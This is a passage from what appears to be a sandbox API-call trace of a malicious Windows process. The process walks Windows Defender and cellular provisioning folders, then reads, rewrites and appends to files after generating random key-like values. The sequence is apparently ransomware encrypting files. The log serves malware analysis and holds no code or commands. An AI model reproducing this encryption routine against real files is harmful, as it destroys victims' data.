Size=0x9e) returned 0x33e6a68 [0088.817] wcscpy (in: _Dest=0x33e6a68, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory" [0088.817] wcscat (in: _Dest=0x33e6a68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\" [0088.817] wcscat (in: _Dest=0x33e6a68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\*" [0088.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34adfc8 [0088.817] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\*", lpFindFileData=0x34adfc8) Thread: id = 1422 os_tid = 0x39c [0088.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3478310 [0088.817] wcscpy (in: _Dest=0x3478310, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94" [0088.817] wcscat (in: _Dest=0x3478310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\" [0088.817] wcscat (in: _Dest=0x3478310, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\*" [0088.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aa3a0 [0088.818] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94\\*", lpFindFileData=0x34aa3a0) Thread: id = 1423 os_tid = 0xd60 [0088.818] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml")) Thread: id = 1424 os_tid = 0x4a4 [0088.818] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml")) Thread: id = 1425 os_tid = 0x1270 [0088.819] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml")) Thread: id = 1426 os_tid = 0x1274 [0088.819] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\195__connections_cellular_indosat (indonesia)_i0$(__mvid)@wap.provxml")) Thread: id = 1427 os_tid = 0x1278 [0088.819] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml")) Thread: id = 1428 os_tid = 0x127c [0088.820] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml")) Thread: id = 1429 os_tid = 0x128c [0088.820] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml")) Thread: id = 1430 os_tid = 0x1294 [0088.820] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml")) Thread: id = 1431 os_tid = 0x12b0 [0088.821] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml")) Thread: id = 1432 os_tid = 0x12b8 [0088.821] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\1__connections_cellular_vodafone albania (albania)_i0$(__mvid)@wap.provxml")) Thread: id = 1433 os_tid = 0x12c4 [0088.821] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml")) Thread: id = 1434 os_tid = 0x12e8 [0088.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml")) Thread: id = 1435 os_tid = 0x1348 [0088.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml")) Thread: id = 1436 os_tid = 0xe0 [0088.822] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml")) Thread: id = 1437 os_tid = 0x6c8 [0088.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) Thread: id = 1438 os_tid = 0x368 [0088.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml")) Thread: id = 1439 os_tid = 0xa5c [0088.823] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml")) Thread: id = 1440 os_tid = 0x11d0 [0088.824] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml")) Thread: id = 1441 os_tid = 0x11d8 [0088.824] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml")) Thread: id = 1442 os_tid = 0x1204 [0088.825] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml")) Thread: id = 1443 os_tid = 0x1218 [0088.825] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml")) Thread: id = 1444 os_tid = 0x1220 [0088.826] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml")) Thread: id = 1445 os_tid = 0x1248 [0088.826] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\211__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) Thread: id = 1446 os_tid = 0x124c [0088.826] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\212__connections_cellular_tim (italy)_i0$(__mvid)@wap.provxml")) Thread: id = 1447 os_tid = 0x126c [0088.827] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml")) Thread: id = 1448 os_tid = 0x13ac [0088.827] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml")) Thread: id = 1449 os_tid = 0x11ac [0088.827] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml")) Thread: id = 1450 os_tid = 0x9b0 [0088.828] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml")) returned 0x20 [0089.064] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0089.065] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0089.065] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x3203f85c | out: lpFileSize=0x3203f85c*=643) returned 1 [0089.065] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x27f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.065] ReadFile (in: hFile=0x634, lpBuffer=0x3203f830, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3203f82c, lpOverlapped=0x0 | out: lpBuffer=0x3203f830*, lpNumberOfBytesRead=0x3203f82c*=0x4, lpOverlapped=0x0) returned 1 [0089.066] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf20 [0089.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcea8 [0089.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dce08 [0089.066] NtQuerySystemTime (in: CurrentTime=0x3203f808 | out: CurrentTime=0x3203f808*=132121176469593352) returned 0x0 [0089.066] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xe13e018a [0089.066] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xbf1dc5d5 [0089.066] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xf1ca24a5 [0089.066] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xf24ffac2 [0089.066] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x95120804 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x931bd5e8 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x903279f2 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x8d92e2de [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xe133ad5d [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xb9814eae [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xc4b0af37 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x6094b340 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xaa68ff7b [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xa0873b03 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x22ff82f8 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xd89c538d [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xe857e0c8 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xfd81103b [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x39d412f8 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x8b6168fa [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xfbf882ed [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xf976e857 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x8cf2136f [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x5527a707 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xaae263e3 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x5fda5468 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x7844cd13 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0xa1044626 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x13443156 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x1b6d4853 [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x8adb1c1d [0089.067] RtlRandom (in: Seed=0x3203f814 | out: Seed=0x3203f814) returned 0x42a4feae Thread: id = 1451 os_tid = 0xd48 [0088.828] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml")) returned 0x20 [0089.048] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0089.048] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0089.048] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x320bf874 | out: lpFileSize=0x320bf874*=647) returned 1 [0089.048] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x283, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.048] ReadFile (in: hFile=0x634, lpBuffer=0x320bf848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x320bf844, lpOverlapped=0x0 | out: lpBuffer=0x320bf848*, lpNumberOfBytesRead=0x320bf844*=0x4, lpOverlapped=0x0) returned 1 [0089.050] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.050] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcf20 [0089.050] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcea8 [0089.050] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcde0 [0089.050] NtQuerySystemTime (in: CurrentTime=0x320bf820 | out: CurrentTime=0x320bf820*=132121176469437169) returned 0x0 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x5c135795 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x4dfec6a5 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x4638df4a [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xa08d7afd [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xc56819c0 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xc96828a1 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x3576b89b [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x885c5f73 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xf123f986 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x674ac98d [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x504e813b [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x43bf2733 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xc210efed [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x9263f31a [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x7e8421b3 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x411db234 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x10cebca5 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x7d6f2517 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x23582617 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xbaa2c3df [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x46aa2684 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x62548781 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x1f1804b3 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x79a3db0d [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x146cb46f [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xc00d4448 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x5ac7a8c7 [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x77e578fa [0089.050] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x7f6766fe [0089.051] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x247dcaa9 [0089.051] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0x218a6160 [0089.051] RtlRandom (in: Seed=0x320bf82c | out: Seed=0x320bf82c) returned 0xfd9e44f5 [0089.061] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x320bf820, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x320bf820*=0x287, lpOverlapped=0x0) returned 1 [0089.061] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320bf7e8 | out: lpNewFilePointer=0x0) returned 1 [0089.061] WriteFile (in: hFile=0x634, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x287, lpNumberOfBytesWritten=0x320bf81c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x320bf81c*=0x287, lpOverlapped=0x0) returned 1 [0089.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcfc0 [0089.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcbb0 [0089.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcbb0) returned 1 [0089.061] WriteFile (in: hFile=0x634, lpBuffer=0x55dcfc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x320bf818, lpOverlapped=0x0 | out: lpBuffer=0x55dcfc0*, lpNumberOfBytesWritten=0x320bf818*=0x20, lpOverlapped=0x0) returned 1 [0089.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dcfc0) returned 1 [0089.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0089.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0089.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ea030) returned 1 [0089.062] 